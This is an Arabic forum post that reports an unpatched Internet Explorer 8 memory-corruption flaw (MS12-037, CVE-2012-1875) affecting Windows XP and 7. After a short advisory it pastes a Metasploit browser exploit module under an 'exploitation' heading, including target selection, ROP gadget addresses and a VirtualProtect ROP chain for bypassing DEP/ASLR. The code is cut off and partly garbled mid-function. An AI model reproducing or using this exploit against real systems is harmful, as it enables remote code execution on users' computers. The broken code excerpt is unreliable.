حالة الموضوع:
مغلق
  1. .:: RSS ::.

    .:: RSS ::. عضوية آلية

    الأنتساب:
    ‏9 سبتمبر 2011
    المشاركات:
    14,005
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    36
    الإقامة:
    IQ-T34M
    <div><div align="center">
    ثغره جديده في متصفحات internet explorer في إصدارها الثامن تصيب أنظمه XP / 7


    [​IMG]
    تم إكتشاف ثغره جديده في متصفحات internet explorer 8 تمكن المتستخدم من تنفيذ أكواد تتيح له بإختراق الجهاز , ويكمن هذا الخطأ البرمجي من فساد في الذاكره بوجود ضعف في التعامل مع العناصر والتحكم بها وإدخالها إلى المتصفح طبعاً الثغره تتخطى حمايات ال DEP / ASLR وتستهدف أنظمه windows 7 و windows xp ومن الجدير بالذكر أن مايكروسوفت لم تقوم بإصدار ترقيع حتى الأن لهذه الثغره فننصح الجميع بعدم إستخدام هذا المتصفح لحين إصدار ترقيع لهذه الثغره.



    طبعاً هذه ليست الثغره الأولى التي تصيب متصفحات internet explorer ويكون سببها ضعف في التحكم بالملفات ونشير بالذكر إلى أن هذه الثغره أصبحت متوفره في مشروع الميتاسبلويت ..

    إستغلاآل إلثغرة
    ..
    <font face="Tahoma"><font size="2"><font color="Gray"><div style="margin:20px; margin-top:5px; "> اقتباس:
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # web site for more information on licensing and terms of use.
    # http://metasploit.com/
    ##

    require 'msf/core'

    class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer::HTML

    def initialize(info={})
    super(update_info(info,
    'Name' => "MS12-037 Internet Explorer Same ID Property Deleted Object Handling Memory Corruption",
    'Description' => %q{
    This module exploits a memory corruption flaw in Internet Explorer 8 when
    handling objects with the same ID property. At the moment this module targets
    IE8 over Windows XP SP3 through the heap massaging plus heap spray as exploited
    in the wild.
    },
    'License' => MSF_LICENSE,
    'Author' =>
    [
    'Dark Son ', # Vulnerability discovery
    'Qihoo 360 Security Center', # Vulnerability discovery
    'Yichong Lin', # Vulnerability discovery
    'Google Inc.', # Vulnerability discovery
    'juan vazquez' # Metasploit module
    ],
    'References' =>
    [
    [ 'MSB', 'MS12-037'],
    [ 'CVE', '2012-1875' ],
    [ 'OSVDB', '82865'],
    [ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/ongoing-attacks-exploiting-cve-2012-1875/'],
    [ 'URL', 'https://twitter.com/binjo/status/212795802974830592' ] # Exploit found in the wild
    ],
    'Payload' =>
    {
    'Space' => 1024,
    'BadChars' => "\x00",
    'DisableNops' => true
    },
    'DefaultOptions' =>
    {
    'InitialAutoRunScript' => 'migrate -f'
    },
    'Platform' => 'win',
    'Targets' =>
    [
    [ 'Automatic', {} ],
    [
    'IE 8 on Windows XP SP3 with msvcrt ROP',
    {
    'Rop' => :msvcrt,
    'RopOffset' => '0x5f4',
    'Ret' => 0x77c15ed5 # xchg eax, esp # ret # from msvcrt.dll
    }
    ],
    [
    'IE 8 on Windows XP SP3 with JRE ROP',
    {
    'Rop' => :jre,
    'RopOffset' => '0x5f4',
    'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
    }
    ],
    [
    'IE 8 on Windows 7 SP1 with JRE ROP',
    {
    'Rop' => :jre,
    'RopOffset' => '0x5f4',
    'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
    }
    ],
    ],
    'Privileged' => false,
    'DisclosureDate' => "Jun 12 2012",
    'DefaultTarget' => 0))

    register_options(
    [
    OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
    ], self.class)

    end

    def get_target(agent)
    # If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    if agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
    #Windows XP SP3 + IE 8.0
    return targets[1]
    elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/
    #Windows 7 SP1 + IE 8.0
    return targets[3]
    else
    return nil
    end
    end

    def junk(n=4)
    return rand_text_alpha(n).unpack("V").first
    end

    def nop
    return make_nops(4).unpack("V").first
    end

    def ret(t)
    case t['Rop']
    when :msvcrt
    return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll
    when :jre
    return [ 0x7c347f98 ].pack("V") # RETN (ROP NOP) # msvcr71.dll
    end
    end

    def popret(t)
    case t['Rop']
    when :msvcrt
    return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll
    when :jre
    return [ 0x7c376541 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcr71.dll
    end
    end

    def get_rop_chain(t)

    adjust = ret(t) * 27
    adjust edx)
    0x77c4e392, # POP EAX # RETN
    nop, # NOPS (-> eax)
    0x77c12df9, # PUSHAD # RETN
    ].pack("V*")

    when :jre
    print_status("Using JRE ROP")
    rop =
    [
    0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
    0x00001000, # (dwSize)
    0x7c347f98, # RETN (ROP NOP)
    0x7c3415a2, # JMP [EAX]
    0xffffffff,
    0x7c376402, # skip 4 bytes
    0x7c345255, # INC EBX # FPATAN # RETN
    0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
    0x7c344f87, # POP EDX # RETN
    0x00000040, # flNewProtect
    0x7c34d201, # POP ECX # RETN
    0x7c38b001, # &Writable location
    0x7c347f97, # POP EAX # RETN
    0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
    0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
    0x7c345c30, # ptr to 'push esp # ret '
    ].pack("V*")
    end

    code = adjust
    code
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة